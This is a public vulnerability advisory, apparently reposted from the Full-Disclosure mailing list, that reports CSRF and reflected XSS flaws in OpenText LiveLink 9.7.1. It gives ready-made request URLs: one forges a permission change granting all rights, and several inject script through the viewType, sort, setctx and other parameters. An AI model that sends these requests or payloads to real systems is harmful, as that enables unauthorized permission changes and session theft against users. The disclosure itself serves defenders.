OpenText LiveLink 9.7.1 cross site request forgeryd cross site scripting

2010-09-25 / 2012-11-28
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352

# Exploit Title: OpenText LiveLink multiple vulnerabilities (CSRF, XSS) # Date: 22/06/2010 # Author: Alejandro Ramos <aramosf @ gmail.com> # http://www.securitybydefault.com # Software Link: http://www.opentext.com/ # Version: 9.7.1 # Tested on: Solaris Opentext (NASDAQ OTEX) LiveLink 9.7.1 Livelink features several advanced foundational elements that allow organizations to apidly and easily enable advanced content management applications and solutions throughout the enterprise. CSRF: Livelink ECM is prone to a cross-site request forgery vulnerability because it fails to properly sanitize data input. An attacker may leverage this issue to change permissions of folders or resources. 1.- POST Request: https://host/func=ll&objAction=EditAcl2&objType=1&objID=514&nodeId=3083071&id=14&rightId=14&PermType=0&Root=&nextUrl2=&PermActionType=&See=on&SeeContent=on&Modify=on&EditAttr=on&Reserve=on&DeleteVersion=on&Delete=on&EditPerm=on XSS: Livelink ECM is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 1.- parameter: viewType https://host/livelink/livelink?func=ll&objId=514&objAction=browse&viewType=aa"><script>alert(514)</script><img src=" 2,3,4.- parameters: nodeid, setctx, support https://host/livelinkdav/nodes/OOB_DAVWindow.html?func=oobget&nodeid=514&support=/livelinksupport/&setctx=');alert('XSS');//514--idctx-12&ctxval=blahblah 5.- POST Request.- https://host/livelink/livelink?func=ll.processAccept&objId=514&webDAVCacheID=1&cacheID=1&sysCacheID=0&nextUrl=/livelink/livelink%3Ffunc%3Dll%26objID%3D514%26objAction%3Dbrowse%26viewType%3D21 6.- parameter: sort https://host/livelink/livelink?func=ll&objid=1&objAction=browse&sort=%22%3E%3Cscript%3Ealert%28514%29%3C/script%3E%3Cimg%20src=%22 -- Alejandro Ramos http://www.securitybydefault.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top